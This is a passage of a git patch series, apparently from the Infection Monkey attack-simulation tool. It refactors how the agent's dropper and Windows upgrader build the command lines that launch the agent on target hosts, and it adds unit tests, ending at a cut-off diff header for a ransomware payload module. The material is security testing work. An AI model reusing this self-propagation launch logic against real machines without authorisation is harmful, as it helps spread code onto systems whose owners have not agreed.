escape sequences + monkey_cmdline = get_monkey_cmd_lines_windows( + WormConfiguration.dropper_target_path_win_64, monkey_options ) monkey_process = subprocess.Popen( - monkey_cmdline_split, + monkey_cmdline, stdin=None, stdout=None, stderr=None, @@ -70,7 +63,7 @@ def upgrade(opts): LOG.info( "Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, - monkey_cmdline, + "".join(monkey_cmdline), ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py similarity index 54% rename from monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py rename to monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 60cc136e558..f5ea8659d7e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,16 +1,29 @@ import unittest -from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly +from infection_monkey.utils.commands import build_monkey_commandline_explicitly class TestHelpers(unittest.TestCase): def test_build_monkey_commandline_explicitly(self): - test1 = " -p 101010 -t 10.10.101.10 -s 127.127.127.127:5000 -d 0 -l C:\\windows\\abc -vp 80" + test1 = [ + "-p", + "101010", + "-t", + "10.10.101.10", + "-s", + "127.127.127.127:5000", + "-d", + "0", + "-l", + "C:\\windows\\abc", + "-vp", + "80", + ] result1 = build_monkey_commandline_explicitly( 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) - test2 = " -p parent -s 127.127.127.127:5000 -d 0 -vp 80" + test2 = ["-p", "parent", "-s", "127.127.127.127:5000", "-d", "0", "-vp", "80"] result2 = build_monkey_commandline_explicitly( parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" ) From 4d71ed42a56845f41eaca55ac56a31510a883591 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 20:01:41 +0200 Subject: [PATCH 0862/1360] Remove unnecessary unit test for build_monkey_commandline_explicitly --- .../unit_tests/infection_monkey/utils/test_commands.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index f5ea8659d7e..049ec7751dd 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -23,13 +23,7 @@ def test_build_monkey_commandline_explicitly(self): 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) - test2 = ["-p", "parent", "-s", "127.127.127.127:5000", "-d", "0", "-vp", "80"] - result2 = build_monkey_commandline_explicitly( - parent="parent", server="127.127.127.127:5000", depth="0", vulnerable_port="80" - ) - self.assertEqual(test1, result1) - self.assertEqual(test2, result2) if __name__ == "__main__": From 24bb79af6a2eda9d8a84f892703534335012d9e7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 20:05:40 +0200 Subject: [PATCH 0863/1360] agent: Convert unit test_commands to pytest --- .../infection_monkey/utils/test_commands.py | 45 ++++++++----------- 1 file changed, 19 insertions(+), 26 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 049ec7751dd..0b59ff649fe 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,30 +1,23 @@ -import unittest - from infection_monkey.utils.commands import build_monkey_commandline_explicitly -class TestHelpers(unittest.TestCase): - def test_build_monkey_commandline_explicitly(self): - test1 = [ - "-p", - "101010", - "-t", - "10.10.101.10", - "-s", - "127.127.127.127:5000", - "-d", - "0", - "-l", - "C:\\windows\\abc", - "-vp", - "80", - ] - result1 = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 - ) - - self.assertEqual(test1, result1) - +def test_build_monkey_commandline_explicitly(): + test1 = [ + "-p", + "101010", + "-t", + "10.10.101.10", + "-s", + "127.127.127.127:5000", + "-d", + "0", + "-l", + "C:\\windows\\abc", + "-vp", + "80", + ] + result1 = build_monkey_commandline_explicitly( + 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 + ) -if __name__ == "__main__": - unittest.main() + assert test1 == result1 From b1dd08b390ad98c39ee2e67a59c289780167b553 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 20:41:17 +0200 Subject: [PATCH 0864/1360] Add depth unit tests for test_build_monkey_commandline_explicitly --- .../infection_monkey/utils/test_commands.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 0b59ff649fe..8770cb599f4 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -20,4 +20,42 @@ def test_build_monkey_commandline_explicitly(): 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) + test2 = [ + "-p", + "101010", + "-t", + "10.10.101.10", + "-s", + "200.150.100.50:5000", + "-d", + "0", + "-l", + "C:\\windows\\abc", + "-vp", + "443", + ] + result2 = build_monkey_commandline_explicitly( + 101010, "10.10.101.10", "200.150.100.50:5000", -50, "C:\\windows\\abc", 443 + ) + + test3 = [ + "-p", + "101010", + "-t", + "10.10.101.10", + "-s", + "200.150.100.50:5000", + "-d", + "100", + "-l", + "C:\\windows\\ghi", + "-vp", + "443", + ] + result3 = build_monkey_commandline_explicitly( + 101010, "10.10.101.10", "200.150.100.50:5000", 100, "C:\\windows\\ghi", 443 + ) + assert test1 == result1 + assert test2 == result2 + assert test3 == result3 From 9a3d0155036599f40ceb8c6d2b5951cd448a7f2d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 21:03:55 +0200 Subject: [PATCH 0865/1360] Add commands unit test_get_monkey_cmd_lines_windows --- .../infection_monkey/utils/test_commands.py | 29 ++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 8770cb599f4..7e69c5051fb 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,4 +1,7 @@ -from infection_monkey.utils.commands import build_monkey_commandline_explicitly +from infection_monkey.utils.commands import ( + build_monkey_commandline_explicitly, + get_monkey_cmd_lines_windows, +) def test_build_monkey_commandline_explicitly(): @@ -59,3 +62,27 @@ def test_build_monkey_commandline_explicitly(): assert test1 == result1 assert test2 == result2 assert test3 == result3 + + +def test_get_monkey_cmd_lines_windows(): + test1 = [ + "cmd.exe", + "/c", + "C:\\windows\\abc", + "m0nk3y", + "-p", + "101010", + "-t", + "10.10.101.10", + ] + result1 = get_monkey_cmd_lines_windows( + "C:\\windows\\abc", + [ + "-p", + "101010", + "-t", + "10.10.101.10", + ], + ) + + assert test1 == result1 From d76e69fffefa4c56ead0be00b2e87e7eb8216871 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Jun 2021 21:17:14 +0200 Subject: [PATCH 0866/1360] Add commands unit test_get_monkey_cmd_lines_linux --- .../infection_monkey/utils/test_commands.py | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 7e69c5051fb..511adeb4bf9 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,5 +1,6 @@ from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, + get_monkey_cmd_lines_linux, get_monkey_cmd_lines_windows, ) @@ -86,3 +87,25 @@ def test_get_monkey_cmd_lines_windows(): ) assert test1 == result1 + + +def test_get_monkey_cmd_lines_linux(): + test1 = [ + "monkey-linux-64", + "m0nk3y", + "-p", + "101010", + "-t", + "10.10.101.10", + ] + result1 = get_monkey_cmd_lines_linux( + "/home/user/monkey-linux-64", + [ + "-p", + "101010", + "-t", + "10.10.101.10", + ], + ) + + assert test1 == result1 From b93be212f4588b4a46baed5e2aca64ef357ef913 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Jun 2021 11:53:04 +0200 Subject: [PATCH 0867/1360] Add name consistency for get_monkey_commandline --- monkey/infection_monkey/dropper.py | 16 ++++++++-------- monkey/infection_monkey/utils/commands.py | 4 ++-- monkey/infection_monkey/windows_upgrader.py | 4 ++-- .../infection_monkey/utils/test_commands.py | 12 ++++++------ 4 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index a9b75335792..9df8f6a822d 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -16,8 +16,8 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, - get_monkey_cmd_lines_linux, - get_monkey_cmd_lines_windows, + get_monkey_commandline_linux, + get_monkey_commandline_windows, ) if "win32" == sys.platform: @@ -146,12 +146,12 @@ def start(self): if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_cmdline = get_monkey_cmd_lines_windows( + monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options ) monkey_process = subprocess.Popen( - monkey_cmdline, + monkey_commandline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, @@ -163,12 +163,12 @@ def start(self): # In Linux, we need to change the directory first, which is done # using thw `cwd` argument in `subprocess.Popen` below - monkey_cmdline = get_monkey_cmd_lines_linux(dest_path, monkey_options) + monkey_commandline = get_monkey_commandline_linux(dest_path, monkey_options) - LOG.info("Commands of monkey cmdline_split %s", monkey_cmdline) + LOG.info("Commands of monkey cmdline_split %s", monkey_commandline) monkey_process = subprocess.Popen( - monkey_cmdline, + monkey_commandline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, @@ -180,7 +180,7 @@ def start(self): LOG.info( "Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, - " ".join(monkey_cmdline), + " ".join(monkey_commandline), ) time.sleep(3) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 8d32299658d..32d423fa6ab 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -49,13 +49,13 @@ def build_monkey_commandline_explicitly( return cmdline -def get_monkey_cmd_lines_windows(destination_path, monkey_options): +def get_monkey_commandline_windows(destination_path, monkey_options): monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG] return monkey_cmdline + monkey_options -def get_monkey_cmd_lines_linux(destination_path, monkey_options): +def get_monkey_commandline_linux(destination_path, monkey_options): monkey_cmdline = [destination_path.split("/")[-1], MONKEY_ARG] return monkey_cmdline + monkey_options diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 09936fc5b78..b3745bf48c1 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -9,7 +9,7 @@ from infection_monkey.control import ControlClient from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, - get_monkey_cmd_lines_windows, + get_monkey_commandline_windows, ) from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os @@ -47,7 +47,7 @@ def upgrade(opts): opts.parent, opts.tunnel, opts.server, opts.depth ) - monkey_cmdline = get_monkey_cmd_lines_windows( + monkey_cmdline = get_monkey_commandline_windows( WormConfiguration.dropper_target_path_win_64, monkey_options ) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 511adeb4bf9..00b62dd6b7c 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,7 +1,7 @@ from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, - get_monkey_cmd_lines_linux, - get_monkey_cmd_lines_windows, + get_monkey_commandline_linux, + get_monkey_commandline_windows, ) @@ -65,7 +65,7 @@ def test_build_monkey_commandline_explicitly(): assert test3 == result3 -def test_get_monkey_cmd_lines_windows(): +def test_get_monkey_commandline_windows(): test1 = [ "cmd.exe", "/c", @@ -76,7 +76,7 @@ def test_get_monkey_cmd_lines_windows(): "-t", "10.10.101.10", ] - result1 = get_monkey_cmd_lines_windows( + result1 = get_monkey_commandline_windows( "C:\\windows\\abc", [ "-p", @@ -89,7 +89,7 @@ def test_get_monkey_cmd_lines_windows(): assert test1 == result1 -def test_get_monkey_cmd_lines_linux(): +def test_get_monkey_commandline_linux(): test1 = [ "monkey-linux-64", "m0nk3y", @@ -98,7 +98,7 @@ def test_get_monkey_cmd_lines_linux(): "-t", "10.10.101.10", ] - result1 = get_monkey_cmd_lines_linux( + result1 = get_monkey_commandline_linux( "/home/user/monkey-linux-64", [ "-p", From 5c5d96f79d1f97792b43edfc73e6a2c6a3d275ca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Jun 2021 12:03:39 +0200 Subject: [PATCH 0868/1360] agent: Remove unnecessary log --- monkey/infection_monkey/dropper.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 9df8f6a822d..b3e5665c1f5 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -145,7 +145,6 @@ def start(self): ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options ) @@ -165,8 +164,6 @@ def start(self): monkey_commandline = get_monkey_commandline_linux(dest_path, monkey_options) - LOG.info("Commands of monkey cmdline_split %s", monkey_commandline) - monkey_process = subprocess.Popen( monkey_commandline, stdin=subprocess.PIPE, From 36a9e021816beed1d13bebfa441241879b7e20ea Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Jun 2021 12:14:01 +0200 Subject: [PATCH 0869/1360] agent: Replace f-strings with explicit conversion --- monkey/infection_monkey/utils/commands.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 32d423fa6ab..c5755a4be42 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -27,24 +27,24 @@ def build_monkey_commandline_explicitly( if parent is not None: cmdline.append("-p") - cmdline.append(f"{parent}") + cmdline.append(str(parent)) if tunnel is not None: cmdline.append("-t") - cmdline.append(f"{tunnel}") + cmdline.append(str(tunnel)) if server is not None: cmdline.append("-s") - cmdline.append(f"{server}") + cmdline.append(str(server)) if depth is not None: if int(depth) < 0: depth = 0 cmdline.append("-d") - cmdline.append(f"{depth}") + cmdline.append(str(depth)) if location is not None: cmdline.append("-l") - cmdline.append(f"{location}") + cmdline.append(str(location)) if vulnerable_port is not None: cmdline.append("-vp") - cmdline.append(f"{vulnerable_port}") + cmdline.append(str(vulnerable_port)) return cmdline From af974fae70508c1978d63f1f5443bf01505969dd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Jun 2021 12:29:36 +0200 Subject: [PATCH 0870/1360] agent: Modify unit test for commands --- .../infection_monkey/utils/test_commands.py | 64 +++++++------------ 1 file changed, 23 insertions(+), 41 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 00b62dd6b7c..df92296a9dc 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -5,8 +5,8 @@ ) -def test_build_monkey_commandline_explicitly(): - test1 = [ +def test_build_monkey_commandline_explicitly_arguments(): + expected = [ "-p", "101010", "-t", @@ -20,53 +20,35 @@ def test_build_monkey_commandline_explicitly(): "-vp", "80", ] - result1 = build_monkey_commandline_explicitly( + actual = build_monkey_commandline_explicitly( 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 ) - test2 = [ - "-p", - "101010", - "-t", - "10.10.101.10", - "-s", - "200.150.100.50:5000", + assert expected == actual + + +def test_build_monkey_commandline_explicitly_depth_condition_less(): + expected = [ "-d", "0", - "-l", - "C:\\windows\\abc", - "-vp", - "443", ] - result2 = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "200.150.100.50:5000", -50, "C:\\windows\\abc", 443 - ) + actual = build_monkey_commandline_explicitly(depth=-50) - test3 = [ - "-p", - "101010", - "-t", - "10.10.101.10", - "-s", - "200.150.100.50:5000", + assert expected == actual + + +def test_build_monkey_commandline_explicitly_depth_condition_greater(): + expected = [ "-d", - "100", - "-l", - "C:\\windows\\ghi", - "-vp", - "443", + "50", ] - result3 = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "200.150.100.50:5000", 100, "C:\\windows\\ghi", 443 - ) + actual = build_monkey_commandline_explicitly(depth=50) - assert test1 == result1 - assert test2 == result2 - assert test3 == result3 + assert expected == actual def test_get_monkey_commandline_windows(): - test1 = [ + expected = [ "cmd.exe", "/c", "C:\\windows\\abc", @@ -76,7 +58,7 @@ def test_get_monkey_commandline_windows(): "-t", "10.10.101.10", ] - result1 = get_monkey_commandline_windows( + actual = get_monkey_commandline_windows( "C:\\windows\\abc", [ "-p", @@ -86,11 +68,11 @@ def test_get_monkey_commandline_windows(): ], ) - assert test1 == result1 + assert expected == actual def test_get_monkey_commandline_linux(): - test1 = [ + expected = [ "monkey-linux-64", "m0nk3y", "-p", @@ -98,7 +80,7 @@ def test_get_monkey_commandline_linux(): "-t", "10.10.101.10", ] - result1 = get_monkey_commandline_linux( + actual = get_monkey_commandline_linux( "/home/user/monkey-linux-64", [ "-p", @@ -108,4 +90,4 @@ def test_get_monkey_commandline_linux(): ], ) - assert test1 == result1 + assert expected == actual From a158665f2b00a3992bbc86dcd7a67eb0c31aa028 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Jun 2021 12:38:32 +0200 Subject: [PATCH 0871/1360] agent: Change absolute path to full path in get_monkey_commandline_linux --- monkey/infection_monkey/utils/commands.py | 2 +- monkey/tests/unit_tests/infection_monkey/utils/test_commands.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index c5755a4be42..bb7ec569d1a 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -56,6 +56,6 @@ def get_monkey_commandline_windows(destination_path, monkey_options): def get_monkey_commandline_linux(destination_path, monkey_options): - monkey_cmdline = [destination_path.split("/")[-1], MONKEY_ARG] + monkey_cmdline = [destination_path, MONKEY_ARG] return monkey_cmdline + monkey_options diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index df92296a9dc..4eebd0ee440 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -73,7 +73,7 @@ def test_get_monkey_commandline_windows(): def test_get_monkey_commandline_linux(): expected = [ - "monkey-linux-64", + "/home/user/monkey-linux-64", "m0nk3y", "-p", "101010", From e93df01e69bfc553153bc2a963401ed521c5b10e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Jun 2021 17:29:21 +0200 Subject: [PATCH 0872/1360] agent: Remove logging in commands --- monkey/infection_monkey/utils/commands.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index bb7ec569d1a..e94f1124eb9 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,9 +1,5 @@ -import logging - from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG -LOG = logging.getLogger(__name__) - def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): from infection_monkey.config import GUID From 680b1f54d0e137d711ad7e9bd44ea4a5b8a0ef23 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Jun 2021 20:31:50 +0200 Subject: [PATCH 0873/1360] agent: Add type hinting to commands --- monkey/infection_monkey/utils/commands.py | 18 +++++++++++++----- .../infection_monkey/utils/test_commands.py | 2 +- 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index e94f1124eb9..5742389f034 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,7 +1,10 @@ from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG +from infection_monkey.model.host import VictimHost -def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): +def build_monkey_commandline( + target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None +) -> str: from infection_monkey.config import GUID return "".join( @@ -17,8 +20,13 @@ def build_monkey_commandline(target_host, depth, vulnerable_port, location=None) def build_monkey_commandline_explicitly( - parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None -): + parent: str = None, + tunnel: str = None, + server: str = None, + depth: int = None, + location: str = None, + vulnerable_port: str = None, +) -> list: cmdline = [] if parent is not None: @@ -45,13 +53,13 @@ def build_monkey_commandline_explicitly( return cmdline -def get_monkey_commandline_windows(destination_path, monkey_options): +def get_monkey_commandline_windows(destination_path: str, monkey_options: list) -> list: monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG] return monkey_cmdline + monkey_options -def get_monkey_commandline_linux(destination_path, monkey_options): +def get_monkey_commandline_linux(destination_path: str, monkey_options: list) -> list: monkey_cmdline = [destination_path, MONKEY_ARG] return monkey_cmdline + monkey_options diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 4eebd0ee440..c43d02e41e3 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -21,7 +21,7 @@ def test_build_monkey_commandline_explicitly_arguments(): "80", ] actual = build_monkey_commandline_explicitly( - 101010, "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", 80 + "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", "80" ) assert expected == actual From 8c7fe00182f8f914067bc7ce3e959f3a486cc5a3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Jun 2021 20:33:19 +0200 Subject: [PATCH 0874/1360] agent: Rename monkey_options to monkey_cmd_args --- monkey/infection_monkey/utils/commands.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 5742389f034..77d385d743a 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -53,13 +53,13 @@ def build_monkey_commandline_explicitly( return cmdline -def get_monkey_commandline_windows(destination_path: str, monkey_options: list) -> list: +def get_monkey_commandline_windows(destination_path: str, monkey_cmd_args: list) -> list: monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG] - return monkey_cmdline + monkey_options + return monkey_cmdline + monkey_cmd_args -def get_monkey_commandline_linux(destination_path: str, monkey_options: list) -> list: +def get_monkey_commandline_linux(destination_path: str, monkey_cmd_args: list) -> list: monkey_cmdline = [destination_path, MONKEY_ARG] - return monkey_cmdline + monkey_options + return monkey_cmdline + monkey_cmd_args From 5a871da26a17a1cd1292bfa0e97c94e0f7d9d78b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Jun 2021 20:35:06 +0200 Subject: [PATCH 0875/1360] agent: Move GUID import to other imports --- monkey/infection_monkey/utils/commands.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 77d385d743a..b2b5745ba36 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,3 +1,4 @@ +from infection_monkey.config import GUID from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG from infection_monkey.model.host import VictimHost @@ -5,7 +6,6 @@ def build_monkey_commandline( target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None ) -> str: - from infection_monkey.config import GUID return "".join( build_monkey_commandline_explicitly( From feaa7ee867ab3bfc89c3960839f3ed3c83975de5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Jun 2021 21:00:04 +0200 Subject: [PATCH 0876/1360] agent: Resolve empty space in build_monkey_commandline --- monkey/infection_monkey/utils/commands.py | 2 +- .../infection_monkey/utils/test_commands.py | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index b2b5745ba36..b9e042e00e5 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -7,7 +7,7 @@ def build_monkey_commandline( target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None ) -> str: - return "".join( + return " ".join( build_monkey_commandline_explicitly( GUID, target_host.default_tunnel, diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index c43d02e41e3..ef96f022ea3 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,4 +1,7 @@ +from infection_monkey.config import GUID +from infection_monkey.model.host import VictimHost from infection_monkey.utils.commands import ( + build_monkey_commandline, build_monkey_commandline_explicitly, get_monkey_commandline_linux, get_monkey_commandline_windows, @@ -91,3 +94,15 @@ def test_get_monkey_commandline_linux(): ) assert expected == actual + + +def test_build_monkey_commandline(): + example_host = VictimHost(ip_addr="bla") + example_host.set_default_server("101010") + + expected = "-p " + GUID + " -s 101010 -d 0 -l /home/bla -vp 80" + actual = build_monkey_commandline( + target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" + ) + + assert expected == actual From b65b26e856b8079e9d6d44ef08bc1997e5c5efc7 Mon Sep 17 00:00:00 2001 From: ilija-lazoroski Date: Tue, 22 Jun 2021 17:09:09 +0200 Subject: [PATCH 0877/1360] agent: Join monkey cmdline for log Co-authored-by: Mike Salvatore --- monkey/infection_monkey/windows_upgrader.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index b3745bf48c1..6dfd01c11e3 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -63,7 +63,7 @@ def upgrade(opts): LOG.info( "Executed 64bit monkey process (PID=%d) with command line: %s", monkey_process.pid, - "".join(monkey_cmdline), + " ".join(monkey_cmdline), ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) From 8ee1ce67069fe1d1d9d9e2358e290882fb99a31f Mon Sep 17 00:00:00 2001 From: ilija-lazoroski Date: Tue, 22 Jun 2021 17:10:49 +0200 Subject: [PATCH 0878/1360] agent: Update unit test for build_monkey_commandline Co-authored-by: Mike Salvatore --- monkey/tests/unit_tests/infection_monkey/utils/test_commands.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index ef96f022ea3..efb0623bd7b 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -100,7 +100,7 @@ def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") example_host.set_default_server("101010") - expected = "-p " + GUID + " -s 101010 -d 0 -l /home/bla -vp 80" + expected = f"-p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" actual = build_monkey_commandline( target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" ) From 2b1ba994a48378d2f2416679fc4353a7dabd70d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 06:55:35 -0400 Subject: [PATCH 0879/1360] agent: Remove errant "f" in format string --- monkey/infection_monkey/ransomware/ransomware_payload.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index d2c8f578dda..f58a9c3972b 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ 